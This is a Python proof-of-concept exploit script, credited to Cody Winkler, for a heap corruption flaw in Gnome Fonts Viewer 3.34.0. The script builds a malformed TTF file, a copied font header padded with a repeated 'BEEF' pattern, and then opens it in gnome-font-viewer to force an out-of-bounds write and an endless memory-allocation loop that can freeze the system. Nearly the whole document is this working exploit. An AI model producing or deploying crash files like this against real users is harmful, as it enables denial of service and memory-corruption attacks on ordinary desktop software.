53 lines
No EOL
2.4 KiB
Python
Executable file
53 lines
No EOL
2.4 KiB
Python
Executable file
#!/usr/bin/env python3
|
|
# Exploit Title: Gnome Fonts Viewer 3.34.0 Heap Corruption
|
|
# Date: 2020-09-10
|
|
# Exploit Author: Cody Winkler
|
|
# Vendor Homepage: gnome.org
|
|
# Software Link: https://help.gnome.org/misc/release-notes/3.6/users-font-viewer.html
|
|
# Version: 3.34.0
|
|
# Tested On: Ubuntu 20.04.1 LTS
|
|
#
|
|
# Note: May take a few tries. Too many consecutive runs can freeze OS.
|
|
# This will trigger an infinite malloc() loop until gnome-font-viewer process is stopped.
|
|
|
|
from os import system
|
|
|
|
this_pattern = "BEEF"*21125 # needs to be filled to len ~84500
|
|
|
|
# TTF file header (probably has some junk data in it) taken from MesloLGS
|
|
NF Regular.ttf
|
|
|
|
ttf_header = ("\x00\x01\x00\x00\x00\x13\x01\x00\x00\x04\x00\x30\x46\x46\x54"
|
|
"\x4d\x75\xfe\x73\xdd\x00\x13\xb6\x0c\x00\x00\x00\x1c\x47\x44\x45"
|
|
"\x46\x4d\x76\x5d\xda\x00\x13\xb0\xac\x00\x00\x04\xaa\x47\x50\x4f"
|
|
"\x53\x44\x76\x4c\x75\x00\x13\xb5\xec\x00\x00\x00\x20\x47\x53\x55"
|
|
"\x42\x09\xf6\x0b\xdc\x00\x13\xb5\x58\x00\x00\x00\x92\x4f\x53\x2f"
|
|
"\x32\x8d\xbd\x8e\x75\x00\x00\x01\xb8\x00\x00\x00\x60\x50\x66\x45"
|
|
"\x64\x5b\xd3\xe9\x6b\x00\x13\xb6\x28\x00\x00\x02\x50\x63\x6d\x61"
|
|
"\x70\xbf\x0d\x76\x7c\x00\x00\x34\x30\x00\x00\x0a\x36\x63\x76\x74"
|
|
"\x20\x28\xfd\x02\x16\x00\x00\x48\x98\x00\x00\x00\x38\x66\x70\x67"
|
|
"\x6d\x31\xfc\xa0\x95\x00\x00\x3e\x68\x00\x00\x09\x96\x67\x61\x73"
|
|
"\x70\xff\xff\x00\x10\x00\x13\xb0\xa4\x00\x00\x00\x08\x67\x6c\x79"
|
|
"\x66\xd6\x2f\x24\x7c\x00\x00\xac\xf0\x00\x11\xd8\x34\x68\x65\x61"
|
|
"\x64\x04\xe3\x81\x66\x00\x00\x01\x3c\x00\x00\x00\x36\x68\x68\x65"
|
|
"\x61\x0a\xf4\x01\xa2\x00\x00\x01\x74\x00\x00\x00\x24\x68\x6d\x74"
|
|
"\x78\x93\xdf\x7e\x92\x00\x00\x02\x18\x00\x00\x32\x16\x6c\x6f\x63"
|
|
"\x61\xe6\x44\x45\x24\x00\x00\x48\xd0\x00\x00\x64\x20\x6d\x61\x78"
|
|
"\x70\x1a\xa2\x0b\x9c\x00\x00\x01\x98\x00\x00\x00\x20\x6e\x61\x6d"
|
|
"\x65\x62\x13\x17\xa4\x00\x12\x85\x24\x00\x00\x0b\x9d\x70\x6f\x73"
|
|
"\x74\xbb\xe8\x29\xcf\x00\x12\x90\xc4\x00\x01\x1f\xdd\x70\x72\x65"
|
|
"\x70\xb4\xc5\xc5\x72\x00\x00\x48\x00\x00\x00\x00\x95\x00\x01\x00"
|
|
"\x00\x00\x02\x07\x2b\xd0\x81\xfc\x0f\x5f\x0f\x3c\xf5\x02\x9f\x08"
|
|
"\x00\x00\x00\x00\x00\xc5\x74\x19\x33\x00\x00\x00\x00\xda\x9d\x14"
|
|
"\xf1\xfd\x41\xfc\xfc\x05\xdf\x0a")
|
|
|
|
print('[+] Generating crash.ttf with DEADDEAD')
|
|
|
|
with open("./crash.ttf", 'w') as f:
|
|
f.write(ttf_header)
|
|
f.write(this_pattern)
|
|
f.close()
|
|
print('[+] Done')
|
|
|
|
print('[+] Triggering out-of-bounds write in gnome-font-viewer')
|
|
system("/usr/bin/gnome-font-viewer ./crash.ttf") |